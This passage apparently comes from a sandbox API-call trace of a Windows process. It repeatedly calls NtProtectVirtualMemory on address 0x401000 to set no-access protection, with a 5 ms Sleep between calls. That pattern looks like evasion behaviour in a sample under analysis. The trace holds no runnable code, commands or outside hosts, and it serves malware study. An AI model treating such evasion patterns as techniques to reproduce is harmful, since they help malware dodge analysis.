NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.981] Sleep (dwMilliseconds=0x5) [0353.080] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.081] Sleep (dwMilliseconds=0x5) [0353.134] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.135] Sleep (dwMilliseconds=0x5) [0353.179] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.180] Sleep (dwMilliseconds=0x5) [0353.227] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.228] Sleep (dwMilliseconds=0x5) [0353.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.278] Sleep (dwMilliseconds=0x5) [0353.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.326] Sleep (dwMilliseconds=0x5) [0353.384] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.385] Sleep (dwMilliseconds=0x5) [0353.440] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.441] Sleep (dwMilliseconds=0x5) [0353.537] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.539] Sleep (dwMilliseconds=0x5) [0353.583] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.584] Sleep (dwMilliseconds=0x5) [0353.632] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.633] Sleep (dwMilliseconds=0x5) [0353.679] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.680] Sleep (dwMilliseconds=0x5) [0353.727] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.728] Sleep (dwMilliseconds=0x5) [0353.771] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.772] Sleep (dwMilliseconds=0x5) [0353.820] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.820] Sleep (dwMilliseconds=0x5) [0353.867] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.868] Sleep (dwMilliseconds=0x5) [0353.909] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.910] Sleep (dwMilliseconds=0x5) [0353.958] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.958] Sleep (dwMilliseconds=0x5) [0354.005] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.006] Sleep (dwMilliseconds=0x5) [0354.097] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.098] Sleep (dwMilliseconds=0x5) [0354.176] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.177] Sleep (dwMilliseconds=0x5) [0354.224] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.225] Sleep (dwMilliseconds=0x5) [0354.271] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.272] Sleep (dwMilliseconds=0x5) [0354.319] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.320] Sleep (dwMilliseconds=0x5) [0354.367] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.367] Sleep (dwMilliseconds=0x5) [0354.409] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.410] Sleep (dwMilliseconds=0x5) [0354.468] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.469] Sleep (dwMilliseconds=0x5) [0354.520] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.521] Sleep (dwMilliseconds=0x5) [0354.568] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.569] Sleep (dwMilliseconds=0x5) [0354.614] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.615] Sleep (dwMilliseconds=0x5) [0354.666] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.666] Sleep (dwMilliseconds=0x5) [0354.708] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.708] Sleep (dwMilliseconds=0x5) [0354.755] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.756] Sleep (dwMilliseconds=0x5) [0354.804] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.805] Sleep (dwMilliseconds=0x5) [0354.847] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.848] Sleep (dwMilliseconds=0x5) [0354.898] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.899] Sleep (dwMilliseconds=0x5) [0354.947] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.948] Sleep (dwMilliseconds=0x5) [0354.995] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.996] Sleep (dwMilliseconds=0x5) [0355.039] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.039] Sleep (dwMilliseconds=0x5) [0355.084] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.084] Sleep (dwMilliseconds=0x5) [0355.135] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.136] Sleep (dwMilliseconds=0x5) [0355.183] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.184] Sleep (dwMilliseconds=0x5) [0355.260] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.261] Sleep (dwMilliseconds=0x5) [0355.348] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.348] Sleep (dwMilliseconds=0x5) [0355.394] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.395] Sleep (dwMilliseconds=0x5) [0355.441] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.442] Sleep (dwMilliseconds=0x5) [0355.506] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.507] Sleep (dwMilliseconds=0x5) [0355.555] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.556] Sleep (dwMilliseconds=0x5) [0355.598] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.599] Sleep (dwMilliseconds=0x5) [0355.645] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.646] Sleep (dwMilliseconds=0x5) [0355.695] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.696] Sleep (dwMilliseconds=0x5) [0355.740] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.741] Sleep (dwMilliseconds=0x5) [0355.785] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.786] Sleep (dwMilliseconds=0x5) [0355.834] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.835] Sleep (dwMilliseconds=0x5) [0361.081] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.081] Sleep (dwMilliseconds=0x5) [0361.138] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.138] Sleep (dwMilliseconds=0x5) [0361.233] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.234] Sleep (dwMilliseconds=0x5) [0361.281] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.281] Sleep (dwMilliseconds=0x5) [0361.348] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.349] Sleep (dwMilliseconds=0x5) [0361.388] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.389] Sleep (dwMilliseconds=0x5) [0361.437] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.438] Sleep (dwMilliseconds=0x5) [0361.487] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.488] Sleep (dwMilliseconds=0x5) [0361.531] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.531] Sleep (dwMilliseconds=0x5) [0361.578] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.578] Sleep (dwMilliseconds=0x5) [0361.624] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.625] Sleep (dwMilliseconds=0x5) [0361.673] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.674] Sleep (dwMilliseconds=0x5) [0361.726] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.727] Sleep (dwMilliseconds=0x5) [0361.781] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.782] Sleep (dwMilliseconds=0x5) [0361.839] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.840] Sleep (dwMilliseconds=0x5) [0361.889] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.890] Sleep (dwMilliseconds=0x5) [0361.941] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.942] Sleep (dwMilliseconds=0x5) [0361.985] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.985] Sleep (dwMilliseconds=0x5) [0362.028] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.029] Sleep (dwMilliseconds=0x5) [0362.076] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.076] Sleep (dwMilliseconds=0x5) [0362.124] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, 